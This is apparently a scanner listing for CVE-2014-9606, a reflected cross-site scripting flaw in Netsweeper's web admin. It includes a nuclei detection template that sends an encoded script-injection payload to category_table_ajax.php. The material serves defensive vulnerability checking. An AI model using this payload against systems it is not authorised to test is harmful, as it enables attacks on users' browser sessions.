Netsweeper 4.0.8 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.2%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Multiple cross-site scripting vulnerabilities in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allow remote attackers to inject arbitrary web script or HTML via the (1) server parameter to remotereporter/load_logfiles.php, (2) customctid parameter to webadmin/policy/category_table_ajax.php, (3) urllist parameter to webadmin/alert/alert.php, (4) QUERY_STRING to webadmin/ajaxfilemanager/ajax_get_file_listing.php, or (5) PATH_INFO to webadmin/policy/policy_table_ajax.php/.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-9606 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-9606

info:
  name: Netsweeper 4.0.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allow remote attackers to inject arbitrary web script or HTML via the (1) server parameter to remotereporter/load_logfiles.php, (2) customctid parameter to webadmin/policy/category_table_ajax.php, (3) urllist parameter to webadmin/alert/alert.php, (4) QUERY_STRING to webadmin/ajaxfilemanager/ajax_get_file_listing.php, or (5) PATH_INFO to webadmin/policy/policy_table_ajax.php/.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9606
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-9606
    cwe-id: CWE-79
    epss-score: 0.04156
    epss-percentile: 0.90953
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,xss,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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